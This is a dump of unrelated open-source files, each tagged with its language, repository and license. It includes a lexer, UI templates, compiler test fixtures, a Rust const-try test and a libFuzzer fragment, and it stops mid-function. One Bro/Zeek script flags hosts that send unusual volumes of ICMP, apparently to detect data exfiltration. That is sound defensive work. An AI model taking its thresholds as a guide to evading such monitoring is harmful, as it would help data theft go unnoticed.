<HTML>\> { nesting--; if (nesting == 0) { BEGIN(INITIAL); return (int)Tokens.ID; } }
<HTML>. { }
<LINECOMMENT>\n { BEGIN(INITIAL); }
<LINECOMMENT>. {}
<MLINECOMMENT>\*\/ { BEGIN(INITIAL); }
<MLINECOMMENT>. {}
<STRING>([^\n"]*)(\\\r?\n) { stringId += yytext; TrimString(); }
<STRING>([^\n"]*)(\\\") { stringId += yytext; }
<STRING>([^\n"]*)+ { stringId += yytext;}
<STRING>\" {BEGIN(INITIAL); tokTxt = stringId; return (int)Tokens.ID; }
%{
LoadYylVal();
%}
%%
// TBD:
// parse string concatenation
string message = "";
public int Line { get { return yyline; }}
public int Col { get { return yycol; }}
public string Message { get { return message; }}
public override void yyerror(string format, params object[] args)
{
if (args.Length > 0)
message = String.Format(format, args);
else
message = format;
}
public void Error(string txt) {
if (txt != null) {
message = String.Format("Unexpected {0}",txt);
}
}
public static Tokens MkId(string txt) {
switch (txt.ToLower()) {
case "graph": return Tokens.GRAPH;
case "digraph": return Tokens.DIGRAPH;
case "subgraph": return Tokens.SUBGRAPH;
case "node": return Tokens.NODE;
case "edge": return Tokens.EDGE;
default: return Tokens.ID;
}
}
void TrimString() {
if (stringId.EndsWith("\\\r\n"))
stringId = stringId.Substring(0, stringId.Length - 3);
else if (stringId.EndsWith("\\\n"))
stringId = stringId.Substring(0, stringId.Length - 2);
}
| Lex | 4 | MVoloshin/automatic-graph-layout | GraphLayout/tools/Dot2Graph/dot.lex | [
"MIT"
] |
{{ partial "redirect" .Permalink }}
| HTML | 1 | earcam/bootstrap | site/layouts/alias.html | [
"MIT"
] |
## Licensed to Cloudera, Inc. under one
## or more contributor license agreements. See the NOTICE file
## distributed with this work for additional information
## regarding copyright ownership. Cloudera, Inc. licenses this file
## to you under the Apache License, Version 2.0 (the
## "License"); you may not use this file except in compliance
## with the License. You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in writing, software
## distributed under the License is distributed on an "AS IS" BASIS,
## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
## See the License for the specific language governing permissions and
## limitations under the License.
<%!
import sys
if sys.version_info[0] > 2:
from django.utils.translation import gettext as _
else:
from django.utils.translation import ugettext as _
%>
<%namespace name="utils" file="../utils.inc.mako" />
<form action="${ action }" method="POST" class="form submit-external-workflow-form">
${ csrf_token(request) | n,unicode }
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="${ _('Close') }"><span aria-hidden="true">×</span></button>
<h2 class="modal-title">${ _('Submit this job?') }</h2>
</div>
<div class="modal-body">
<fieldset>
<div id="param-container">
${ params_form.management_form | n,unicode }
% for form in params_form.forms:
% for hidden in form.hidden_fields():
${ hidden | n,unicode }
% endfor
<div class="fieldWrapper">
<div class="row-fluid
% if form['name'].form.initial.get('name').startswith('oozie.') or form['name'].form.initial.get('name') in form.RERUN_HIDE_PARAMETERS:
hide
% endif
">
<div class="span6">
${ form['name'].form.initial.get('name') }
</div>
<div class="span6">
${ utils.render_field(form['value'], show_label=False) }
</div>
</div>
</div>
% endfor
% if return_json:
<input type="hidden" name="format" value="json">
% endif
</div>
</fieldset>
% if show_dryrun:
<label class="checkbox" style="display: inline-block; margin-top: 5px">
<input type="checkbox" name="dryrun_checkbox" /> ${ _('Do a dryrun before submitting the job?') }
</label>
% endif
</div>
<div class="modal-footer">
<a href="#" class="btn" data-dismiss="modal">${ _('Cancel') }</a>
<input id="submit-btn" type="submit" class="btn btn-primary" value="${ _('Submit') }"/>
</div>
</form>
% if return_json:
<script type="text/javascript">
$('.submit-external-workflow-form').submit(function (e) {
$.ajax({
type: "POST",
url: '${ action }',
data: $('.submit-external-workflow-form').serialize(),
dataType: "json",
success: function (data) {
if (data.status == 0) {
huePubSub.publish('submit.popup.return', data);
} else {
var message = "${ _('Submission was not successful') }";
if (data.message) {
message = data.message;
}
$.jHueNotify.error(data.message + (data.detail ? (': ' + data.detail) : ''));
}
}
});
e.preventDefault();
});
</script>
% endif
| Mako | 4 | yetsun/hue | apps/oozie/src/oozie/templates/editor/submit_job_popup.mako | [
"Apache-2.0"
] |
cdef class Pipe:
cdef public str name
| Cython | 2 | snosrap/spaCy | spacy/pipeline/pipe.pxd | [
"MIT"
] |
/* @generated */
digraph cfg {
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_1" [label="1: Start div0_b1\nFormals: s:Sub&\nLocals: \n " color=yellow style=filled]
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_1" -> "div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_5" ;
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_2" [label="2: Exit div0_b1 \n " color=yellow style=filled]
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_3" [label="3: Return Stmt \n n$0=*&s:Sub& [line 22, column 14]\n n$1=*n$0.b1:int [line 22, column 14]\n " shape="box"]
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_3" -> "div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_4" ;
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 22, column 3]\n " shape="box"]
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_4" -> "div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_2" ;
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_5" [label="5: BinaryOperatorStmt: Assign \n n$2=*&s:Sub& [line 21, column 3]\n *n$2.b1:int=0 [line 21, column 3]\n " shape="box"]
"div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_5" -> "div0_b1#17650173920024552929.38acfc238efbf35c1ac5da7290b49422_3" ;
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_1" [label="1: Start div0_b1_s\nFormals: s:Sub*\nLocals: \n " color=yellow style=filled]
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_1" -> "div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_6" ;
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_2" [label="2: Exit div0_b1_s \n " color=yellow style=filled]
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_3" [label="3: Return Stmt \n n$0=*&s:Sub* [line 50, column 15]\n n$1=*n$0.b1:int [line 50, column 15]\n n$2=*&s:Sub* [line 50, column 23]\n n$3=*n$2.s:int [line 50, column 23]\n " shape="box"]
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_3" -> "div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_4" ;
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_4" [label="4: Return Stmt \n *&return:int=(1 / (n$1 - n$3)) [line 50, column 3]\n " shape="box"]
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_4" -> "div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_2" ;
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_5" [label="5: BinaryOperatorStmt: Assign \n n$4=*&s:Sub* [line 49, column 3]\n *n$4.s:int=1 [line 49, column 3]\n " shape="box"]
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_5" -> "div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_3" ;
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_6" [label="6: BinaryOperatorStmt: Assign \n n$5=*&s:Sub* [line 48, column 3]\n *n$5.b1:int=1 [line 48, column 3]\n " shape="box"]
"div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_6" -> "div0_b1_s(class Sub)#4574535260514480977.bea603e96ca808f341ce0e5424d96c83_5" ;
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_1" [label="1: Start div0_b2\nFormals: s:Sub&\nLocals: \n " color=yellow style=filled]
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_1" -> "div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_5" ;
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_2" [label="2: Exit div0_b2 \n " color=yellow style=filled]
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_3" [label="3: Return Stmt \n n$0=*&s:Sub& [line 27, column 14]\n n$1=*n$0.b2:int [line 27, column 14]\n " shape="box"]
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_3" -> "div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_4" ;
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 27, column 3]\n " shape="box"]
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_4" -> "div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_2" ;
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_5" [label="5: BinaryOperatorStmt: Assign \n n$2=*&s:Sub& [line 26, column 3]\n *n$2.b2:int=0 [line 26, column 3]\n " shape="box"]
"div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_5" -> "div0_b2#6935029956526426132.ef88e6d1eac891cdde3f345b9b55439c_3" ;
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_1" [label="1: Start div0_cast\nFormals: s:Sub*\nLocals: b:Base1* \n " color=yellow style=filled]
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_1" -> "div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_6" ;
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_2" [label="2: Exit div0_cast \n " color=yellow style=filled]
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_3" [label="3: Return Stmt \n n$0=*&b:Base1* [line 38, column 14]\n n$1=*n$0.b1:int [line 38, column 14]\n " shape="box"]
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_3" -> "div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_4" ;
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 38, column 3]\n " shape="box"]
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_4" -> "div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_2" ;
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_5" [label="5: DeclStmt \n VARIABLE_DECLARED(b:Base1*); [line 37, column 3]\n n$2=*&s:Sub* [line 37, column 14]\n *&b:Sub*=n$2 [line 37, column 3]\n " shape="box"]
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_5" -> "div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_3" ;
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_6" [label="6: BinaryOperatorStmt: Assign \n n$3=*&s:Sub* [line 36, column 3]\n *n$3.b1:int=0 [line 36, column 3]\n " shape="box"]
"div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_6" -> "div0_cast(class Sub)#5945090778893539301.57c132b2d87bb7310c8cb0085dede4d5_5" ;
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_1" [label="1: Start div0_cast_ref\nFormals: s:Sub&\nLocals: b:Base1& \n " color=yellow style=filled]
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_1" -> "div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_6" ;
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_2" [label="2: Exit div0_cast_ref \n " color=yellow style=filled]
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_3" [label="3: Return Stmt \n n$0=*&b:Base1& [line 44, column 14]\n n$1=*n$0.b1:int [line 44, column 14]\n " shape="box"]
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_3" -> "div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_4" ;
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 44, column 3]\n " shape="box"]
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_4" -> "div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_2" ;
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_5" [label="5: DeclStmt \n VARIABLE_DECLARED(b:Base1&); [line 43, column 3]\n n$2=*&s:Sub& [line 43, column 14]\n *&b:Sub&=n$2 [line 43, column 3]\n " shape="box"]
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_5" -> "div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_3" ;
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_6" [label="6: BinaryOperatorStmt: Assign \n n$3=*&s:Sub& [line 42, column 3]\n *n$3.b1:int=0 [line 42, column 3]\n " shape="box"]
"div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_6" -> "div0_cast_ref#11427648331886451822.4f535c7752ac1b6e5f35ab1a83dc2bd8_5" ;
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_1" [label="1: Start div0_s\nFormals: s:Sub&\nLocals: \n " color=yellow style=filled]
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_1" -> "div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_5" ;
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_2" [label="2: Exit div0_s \n " color=yellow style=filled]
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_3" [label="3: Return Stmt \n n$0=*&s:Sub& [line 32, column 14]\n n$1=*n$0.s:int [line 32, column 14]\n " shape="box"]
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_3" -> "div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_4" ;
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 32, column 3]\n " shape="box"]
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_4" -> "div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_2" ;
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_5" [label="5: BinaryOperatorStmt: Assign \n n$2=*&s:Sub& [line 31, column 3]\n *n$2.s:int=0 [line 31, column 3]\n " shape="box"]
"div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_5" -> "div0_s#16566672704220882536.127f1e4fb94cf0b77844a4e153e0f991_3" ;
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_1" [label="1: Start div0_s_b1\nFormals: s:Sub*\nLocals: \n " color=yellow style=filled]
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_1" -> "div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_6" ;
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_2" [label="2: Exit div0_s_b1 \n " color=yellow style=filled]
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_3" [label="3: Return Stmt \n n$0=*&s:Sub* [line 56, column 15]\n n$1=*n$0.b1:int [line 56, column 15]\n n$2=*&s:Sub* [line 56, column 23]\n n$3=*n$2.s:int [line 56, column 23]\n " shape="box"]
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_3" -> "div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_4" ;
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_4" [label="4: Return Stmt \n *&return:int=(1 / (n$1 - n$3)) [line 56, column 3]\n " shape="box"]
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_4" -> "div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_2" ;
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_5" [label="5: BinaryOperatorStmt: Assign \n n$4=*&s:Sub* [line 55, column 3]\n *n$4.s:int=1 [line 55, column 3]\n " shape="box"]
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_5" -> "div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_3" ;
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_6" [label="6: BinaryOperatorStmt: Assign \n n$5=*&s:Sub* [line 54, column 3]\n *n$5.b1:int=1 [line 54, column 3]\n " shape="box"]
"div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_6" -> "div0_s_b1(class Sub)#6365361903134380141.eab3ecee328fdfa57b4dc825af3f2f72_5" ;
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_1" [label="1: Start div1_b1\nFormals: s:Sub&\nLocals: \n " color=yellow style=filled]
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_1" -> "div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_5" ;
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_2" [label="2: Exit div1_b1 \n " color=yellow style=filled]
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_3" [label="3: Return Stmt \n n$0=*&s:Sub& [line 61, column 14]\n n$1=*n$0.b1:int [line 61, column 14]\n " shape="box"]
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_3" -> "div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_4" ;
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 61, column 3]\n " shape="box"]
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_4" -> "div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_2" ;
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_5" [label="5: BinaryOperatorStmt: Assign \n n$2=*&s:Sub& [line 60, column 3]\n *n$2.b1:int=1 [line 60, column 3]\n " shape="box"]
"div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_5" -> "div1_b1#14974413951234929464.2d37fbc87faf449081172c1e2711163f_3" ;
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_1" [label="1: Start div1_cast\nFormals: s:Sub*\nLocals: b:Base1* \n " color=yellow style=filled]
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_1" -> "div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_6" ;
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_2" [label="2: Exit div1_cast \n " color=yellow style=filled]
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_3" [label="3: Return Stmt \n n$0=*&b:Base1* [line 67, column 14]\n n$1=*n$0.b1:int [line 67, column 14]\n " shape="box"]
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_3" -> "div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_4" ;
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_4" [label="4: Return Stmt \n *&return:int=(1 / n$1) [line 67, column 3]\n " shape="box"]
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_4" -> "div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_2" ;
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_5" [label="5: DeclStmt \n VARIABLE_DECLARED(b:Base1*); [line 66, column 3]\n n$2=*&s:Sub* [line 66, column 14]\n *&b:Sub*=n$2 [line 66, column 3]\n " shape="box"]
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_5" -> "div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_3" ;
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_6" [label="6: BinaryOperatorStmt: Assign \n n$3=*&s:Sub* [line 65, column 3]\n *n$3.b1:int=1 [line 65, column 3]\n " shape="box"]
"div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_6" -> "div1_cast(class Sub)#4700794712628779370.5f88f1a243823d843f8f8a851cbaf0d4_5" ;
}
| Graphviz (DOT) | 3 | JacobBarthelmeh/infer | infer/tests/codetoanalyze/cpp/shared/types/inheritance_field.cpp.dot | [
"MIT"
] |
= (object~ a b) c
= (array~ a b) c
= (array~ a (d)) c
| Cirru | 0 | Cirru/cirru-script | examples/destructuring.cirru | [
"Xnet",
"X11"
] |
##! This script will generate a notice if a host exceeds a threshold
##! count of ICMP payloads or those payloads have interesting entropy.
@load base/frameworks/sumstats
@load base/frameworks/notice
@load evernote/human
module Exfiltration;
export {
# Use unique and descriptive names for each notice
redef enum Notice::Type += {
ICMP_Velocity,
};
# configurable options to be added to local.bro
const frequent_icmp_senders: set[subnet] &redef;
const icmp_interval = 2min &redef;
const icmp_per_query_interval = 120.0 &redef;
}
function check_icmp(c:connection)
{
if (c$id$orig_h in frequent_icmp_senders) return;
if (c$id$orig_h !in Site::local_nets) return;
if (c$id$resp_h in Site::local_nets) return;
SumStats::observe("Messages",
SumStats::Key($host=c$id$orig_h),
SumStats::Observation($num=1));
}
event icmp_sent(c: connection, icmp: icmp_conn)
{
check_icmp(c);
}
event icmp_echo_request(c: connection, icmp: icmp_conn, id: count, seq: count, payload: string)
{
if(icmp$len > 110) check_icmp(c);
}
event icmp_echo_reply(c: connection, icmp: icmp_conn, id: count, seq: count, payload: string)
{
check_icmp(c);
}
event icmp_error_message(c: connection, icmp: icmp_conn, code: count, context: icmp_context)
{
check_icmp(c);
}
event icmp_neighbor_advertisement(c: connection, icmp: icmp_conn, router: bool, solicited: bool, override: bool, tgt: addr, options: icmp6_nd_options)
{
check_icmp(c);
}
event icmp_neighbor_solicitation(c: connection, icmp: icmp_conn, tgt: addr, options: icmp6_nd_options)
{
check_icmp(c);
}
event icmp_packet_too_big(c: connection, icmp: icmp_conn, code: count, context: icmp_context)
{
check_icmp(c);
}
event icmp_parameter_problem(c: connection, icmp: icmp_conn, code: count, context: icmp_context)
{
check_icmp(c);
}
event icmp_redirect(c: connection, icmp: icmp_conn, tgt: addr, dest: addr, options: icmp6_nd_options)
{
check_icmp(c);
}
event icmp_router_advertisement(c: connection, icmp: icmp_conn, cur_hop_limit: count, managed: bool, other: bool, home_agent: bool, pref: count, proxy: bool, rsv: count, router_lifetime: interval, reachable_time: interval, retrans_timer: interval, options: icmp6_nd_options)
{
check_icmp(c);
}
event icmp_router_solicitation(c: connection, icmp: icmp_conn, options: icmp6_nd_options)
{
check_icmp(c);
}
event icmp_time_exceeded(c: connection, icmp: icmp_conn, code: count, context: icmp_context)
{
check_icmp(c);
}
# icmp_unreachable causes frequent false positives when video conferences end with
# our side hanging up first and the flood of UDP to a closed socket is sent
# the unreachables, so only track absurdly large responses
# normal icmp_unreachables tend to be ~36
event icmp_unreachable(c: connection, icmp: icmp_conn, code: count, context: icmp_context)
{
if(icmp$len > 50) check_icmp(c);
}
event bro_init()
{
local messages_reducer = SumStats::Reducer($stream="Messages",
$apply=set(SumStats::SUM));
SumStats::create([$name = "messages",
$epoch = icmp_interval,
$reducers = set(messages_reducer),
$threshold = icmp_per_query_interval,
$threshold_val(key: SumStats::Key, result: SumStats::Result) =
{
return result["Messages"]$sum;
},
$threshold_crossed(key: SumStats::Key, result: SumStats::Result) =
{
local dur = Human::interval_to_human_string(query_interval);
NOTICE([$note=ICMP_Velocity,
$src=key$host,
$msg=fmt("%s sent %s/%s ICMP messages in %s", key$host, result["Messages"]$sum, icmp_per_query_interval, dur),
$suppress_for=30mins,
$identifier=cat(key$host)]);
}
]);
}
| Bro | 5 | evernote/bro-scripts | exfiltration/scripts/icmp.bro | [
"BSD-3-Clause"
] |
<mt:Unless regex_replace="/\s*\n+/g","\n"><mt:Ignore>
# =======================
#
# ダイナミックパブリッシングエラー
#
# =======================
</mt:Ignore>
<!DOCTYPE html>
<html lang="<mt:BlogLanguage />">
<head>
<mt:Include module="コンフィグ-共通" />
<mt:SetVarBlock name="ec_meta_title">ページが見つかりません<mt:Var name="ec_website_suffix" /></mt:SetVarBlock>
<mt:SetVar name="ec_body_class" value="error error-404" />
<mt:Include module="head要素" />
<meta name="robots" content="noindex">
</head>
<body class="search">
<mt:Include module="ヘッダ" />
<mt:Include module="ナビ-グローバルナビ" />
<div class="contents">
<div class="container">
<div class="row">
<div class="col-md-12 col-lg-9">
<main class="main" role="main">
<div class="archive-header">
<h1 class="archive-title">404 Not Found</h1>
<!-- /.archive-header --></div>
<mt:WidgetSet name="コンテンツ-本文の前-ページ" />
<div class="message">
<h2 class="message-title">ページが見つかりません</h2>
<p>お探しのアドレスには、コンテンツがありません。<br>
移動、もしくは削除された可能性があります。</p>
<p>お手数ですが、サイト内検索をご利用いただくか、トップページから目的のコンテンツをお探しください。</p>
<div class="text-center">
<p><a href="<mt:Var name="ec_website_path">" class="btn btn-secondary"><mt:Var name="ec_website_name" /> トップページ</a></p>
</div>
<!-- /.message --></div>
<mt:WidgetSet name="コンテンツ-本文の後-ページ" />
</main>
<!-- /.col-md-12 col-lg-9 --></div>
<div class="col-md-12 col-lg-3">
<div class="sub">
<mt:Var name="__is_sub__" value="1" />
<mt:WidgetSet name="サブメニュー-ページ" />
<mt:Var name="__is_sub__" value="0" />
<!-- /.sub --></div>
<!-- /.col-md-12 col-lg-3 --></div>
<!-- /.row --></div>
<!-- /.container --></div>
<div class="section section-03">
<div class="container">
<mt:WidgetSet name="コンテンツ-下段" />
<!-- /.container --></div>
<!-- /.section section-03 --></div>
<!-- /.contents --></div>
<mt:Include module="フッタ" />
</body>
</html>
</mt:Unless> | MTML | 4 | webbingstudio/mt_theme_echo_bootstrap | dist/themes/echo_bootstrap/templates/dynamic_error.mtml | [
"MIT"
] |
<h1>This should never be visible!</h1>
<table>
<tr><th colspan="3">RHTML partial</th></tr>
<tr><td>type</td><td><%= hello %></td><td>RHTML partial</td></tr>
</table>
<p>Neither should this!</p> | RHTML | 2 | RockHong/railscasts-episodes | episode-116/store/vendor/plugins/selenium-on-rails/test_data/partials/_rhtml.rhtml | [
"MIT"
] |
// check-pass
// Demonstrates what's needed to make use of `?` in const contexts.
#![crate_type = "lib"]
#![feature(try_trait_v2)]
#![feature(const_trait_impl)]
#![feature(const_try)]
use std::ops::{ControlFlow, FromResidual, Try};
struct TryMe;
struct Error;
impl const FromResidual<Error> for TryMe {
fn from_residual(residual: Error) -> Self {
TryMe
}
}
impl const Try for TryMe {
type Output = ();
type Residual = Error;
fn from_output(output: Self::Output) -> Self {
TryMe
}
fn branch(self) -> ControlFlow<Self::Residual, Self::Output> {
ControlFlow::Break(Error)
}
}
const fn t() -> TryMe {
TryMe?;
TryMe
}
const _: () = {
t();
};
| Rust | 5 | mbc-git/rust | src/test/ui/consts/const-try.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
//===- FuzzerCrossOver.cpp - Cross over two test inputs -------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Cross over test inputs.
//===----------------------------------------------------------------------===//
#include "FuzzerDefs.h"
#include "FuzzerMutate.h"
#include "FuzzerRandom.h"
#include <cstring>
namespace fuzzer {
// Cross Data1 and Data2, store the result (up to MaxOutSize bytes) in Out.
size_t MutationDispatcher::CrossOver(const uint8_t *Data1, size_t Size1,
const uint8_t *Data2, size_t Size2,
uint8_t *Out, size_t MaxOutSize) {
assert(Size1 || Size2);
MaxOutSize = Rand(MaxOutSize) + 1;
size_t OutPos = 0;
size_t Pos1 = 0;
size_t Pos2 = 0;
size_t *InPos = &Pos1;
size_t InSize = Size1;
const uint8_t *Data = Data1;
bool CurrentlyUsingFirstData = true;
while (OutPos < MaxOutSize && (Pos1 < Size1 || Pos2 < Size2)) {
// Merge a part of Data into Out.
